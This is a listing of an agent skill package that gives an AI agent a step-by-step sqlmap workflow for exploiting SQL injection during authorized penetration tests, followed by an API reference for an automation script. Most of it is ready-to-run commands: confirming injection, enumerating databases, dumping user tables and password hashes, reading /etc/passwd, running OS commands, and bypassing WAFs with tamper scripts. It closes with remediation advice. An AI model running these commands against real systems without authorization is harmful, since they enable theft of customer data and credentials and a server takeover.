What it does. Detecting and exploiting SQL injection vulnerabilities using sqlmap to Part of mukul975/Anthropic-Cybersecurity-Skills (817 security skills) (mukul975/Anthropic-Cybersecurity-Skills).

Install

• npx skills add mukul975/Anthropic-Cybersecurity-Skills --skill exploiting-sql-injection-with-sqlmap, or copy the skill folder into ~/.claude/skills/exploiting-sql-injection-with-sqlmap/.
• Raw file: curl -sL https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/exploiting-sql-injection-with-sqlmap/SKILL.md

SKILL.md (verbatim)

name: exploiting-sql-injection-with-sqlmap
description: Detecting and exploiting SQL injection vulnerabilities using sqlmap to
  extract database contents during authorized penetration tests.
domain: cybersecurity
subdomain: web-application-security
tags:
- penetration-testing
- sql-injection
- sqlmap
- owasp
- database-security
- web-security
version: '1.0'
author: mahipal
license: Apache-2.0
nist_csf:
- PR.PS-01
- ID.RA-01
- PR.DS-10
- DE.CM-01
mitre_attack:
- T1190
- T1059.007
- T1505.003
- T1083
- T1055

Exploiting SQL Injection with sqlmap

When to Use

• During authorized web application penetration testing engagements
• When manual testing reveals potential SQL injection points in parameters, headers, or cookies
• For validating SQL injection findings from automated scanners like Burp Suite or OWASP ZAP
• When you need to demonstrate the impact of SQL injection by extracting data from backend databases
• During CTF challenges involving SQL injection exploitation

Prerequisites

• Authorization: Written penetration testing agreement (Rules of Engagement) for the target
• sqlmap: Install via pip install sqlmap or apt install sqlmap on Kali Linux
• Python 3.6+: Required runtime for sqlmap
• Burp Suite (optional): For capturing and replaying HTTP requests
• Target access: Network connectivity to the target web application
• Browser with proxy: Firefox with FoxyProxy for intercepting requests

Workflow

Step 1: Identify Potential Injection Points

Manually browse the application and identify parameters that interact with the database. Use Burp Suite to capture requests.

# Start Burp Suite proxy and capture requests
# Look for parameters in URLs, POST bodies, cookies, and headers
# Example target URL with a suspected injectable parameter:
# https://target.example.com/products?id=1

# Test manually for basic SQL injection indicators
curl -k "https://target.example.com/products?id=1'"
# Look for SQL error messages like:
# - "You have an error in your SQL syntax"
# - "ORA-01756: quoted string not properly terminated"
# - "Microsoft SQL Native Client error"

Step 2: Run sqlmap Basic Detection Scan

Launch sqlmap against the suspected injection point to confirm the vulnerability and identify the database type.

# Basic GET parameter test
sqlmap -u "https://target.example.com/products?id=1" --batch --random-agent

# For POST requests (save the request from Burp Suite to a file)
sqlmap -r request.txt --batch --random-agent

# Test specific parameter in a POST request
sqlmap -u "https://target.example.com/login" \
  --data="username=admin&password=test" \
  -p "username" --batch --random-agent

# Test with cookie-based injection
sqlmap -u "https://target.example.com/dashboard" \
  --cookie="session=abc123; user_id=5" \
  -p "user_id" --batch --random-agent

Step 3: Enumerate Database Structure

Once injection is confirmed, enumerate databases, tables, and columns.

# List all databases
sqlmap -u "https://target.example.com/products?id=1" --dbs --batch --random-agent

# List tables in a specific database
sqlmap -u "https://target.example.com/products?id=1" \
  -D target_db --tables --batch --random-agent

# List columns in a specific table
sqlmap -u "https://target.example.com/products?id=1" \
  -D target_db -T users --columns --batch --random-agent

Step 4: Extract Data from Target Tables

Dump the contents of sensitive tables to demonstrate impact.

# Dump specific columns from a table
sqlmap -u "https://target.example.com/products?id=1" \
  -D target_db -T users -C "username,password,email" \
  --dump --batch --random-agent

# Dump with row limit to avoid excessive data extraction
sqlmap -u "https://target.example.com/products?id=1" \
  -D target_db -T users --dump --start=1 --stop=10 \
  --batch --random-agent

# Attempt to crack password hashes automatically
sqlmap -u "https://target.example.com/products?id=1" \
  -D target_db -T users -C "username,password" \
  --dump --batch --passwords --random-agent

Step 5: Test for Advanced Exploitation Vectors

Assess the full impact by testing OS-level access and file operations.

# Check current database user and privileges
sqlmap -u "https://target.example.com/products?id=1" \
  --current-user --current-db --is-dba --batch --random-agent

# Attempt to read server files (if DBA privileges exist)
sqlmap -u "https://target.example.com/products?id=1" \
  --file-read="/etc/passwd" --batch --random-agent

# Attempt OS command execution (MySQL with FILE privilege)
sqlmap -u "https://target.example.com/products?id=1" \
  --os-cmd="whoami" --batch --random-agent

Step 6: Use Tamper Scripts to Bypass WAF/Filters

When Web Application Firewalls or input filters block basic payloads, use tamper scripts.

# Common tamper scripts for WAF bypass
sqlmap -u "https://target.example.com/products?id=1" \
  --tamper="space2comment,between,randomcase" \
  --batch --random-agent

# For specific WAF bypass (e.g., ModSecurity)
sqlmap -u "https://target.example.com/products?id=1" \
  --tamper="modsecurityversioned,modsecurityzeroversioned" \
  --batch --random-agent

# List all available tamper scripts
sqlmap --list-tampers

Step 7: Generate Report and Clean Up

Document findings and clean up any artifacts.

# sqlmap stores results in ~/.local/share/sqlmap/output/
# Review the target output directory
ls -la ~/.local/share/sqlmap/output/target.example.com/

# Export results with specific output directory
sqlmap -u "https://target.example.com/products?id=1" \
  -D target_db -T users --dump \
  --output-dir="/tmp/pentest-results" \
  --batch --random-agent

# Clean sqlmap session data after engagement
sqlmap --purge

Key Concepts

Tools & Systems

Common Scenarios

Scenario 1: E-commerce Product Page SQLi

A product detail page uses id parameter directly in SQL query. Use sqlmap to extract the full customer database including payment information to demonstrate critical business impact.

Scenario 2: Login Form Bypass

A login form concatenates user input into an authentication query. Exploit to bypass authentication and enumerate all user credentials stored in the database.

Scenario 3: Search Function with WAF Protection

A search feature is vulnerable to SQL injection but protected by a WAF. Use tamper scripts like space2comment and between to encode payloads and bypass the filter rules.

Scenario 4: Cookie-based Blind SQL Injection

A session cookie value is used in a database query on the server side. Use time-based blind injection techniques to extract data character by character.

Output Format

## SQL Injection Finding

**Vulnerability**: SQL Injection (Union-based)
**Severity**: Critical (CVSS 9.8)
**Location**: GET parameter `id` at /products?id=1
**Database**: MySQL 8.0.32
**Impact**: Full database read access, 15,000 user records exposed
**OWASP Category**: A03:2021 - Injection

### Evidence
- Injection point: `id` parameter (GET)
- Technique: UNION query-based
- Backend DBMS: MySQL >= 5.0
- Current user: app_user@localhost
- DBA privileges: No

### Databases Enumerated
1. information_schema
2. target_app_db
3. mysql

### Sensitive Data Exposed
- Table: users (15,247 rows)
- Columns: id, username, email, password_hash, created_at

### Recommendation
1. Use parameterized queries (prepared statements) for all database interactions
2. Implement input validation with allowlists for expected data types
3. Apply least-privilege database permissions for the application user
4. Deploy a Web Application Firewall as defense-in-depth
5. Enable database query logging and monitoring for anomalous patterns

Other files in this skill

• LICENSE
• references/api-reference.md
• scripts/agent.py

references/api-reference.md (verbatim)

API Reference: sqlmap Automation Agent

Dependencies

CLI Usage

# Detection scan
python scripts/agent.py --url "https://target.com/page?id=1" --param id --action detect

# Enumerate databases
python scripts/agent.py --url "https://target.com/page?id=1" --action dbs

# List tables
python scripts/agent.py --url "https://target.com/page?id=1" --action tables --database target_db

# Dump table rows
python scripts/agent.py --url "https://target.com/page?id=1" --action dump \
  --database target_db --table users

# Check privileges
python scripts/agent.py --url "https://target.com/page?id=1" --action privs

Functions

find_sqlmap() -> str

Searches common paths for the sqlmap binary.

run_detection_scan(sqlmap_bin, url, param, request_file, cookie, tamper) -> dict

Runs sqlmap --batch --random-agent and parses output for injectability, DB type, and techniques.

enumerate_databases(sqlmap_bin, url, param, cookie) -> list

Runs sqlmap --dbs and extracts database names from output.

enumerate_tables(sqlmap_bin, url, database, param, cookie) -> list

Runs sqlmap -D db --tables and parses table names.

dump_table(sqlmap_bin, url, database, table, columns, limit, param, cookie) -> dict

Runs sqlmap -D db -T tbl --dump --start=1 --stop=N.

check_privileges(sqlmap_bin, url, param, cookie) -> dict

Runs --current-user --current-db --is-dba to assess DB privileges.

sqlmap Flags Used

Output Schema

{
  "action": "detect",
  "url": "https://target.com/page?id=1",
  "result": {
    "injectable": true,
    "database": "MySQL",
    "techniques": ["boolean-based", "UNION query"]
  }
}

Back to mukul975/Anthropic-Cybersecurity-Skills (817 security skills) or Agent skills.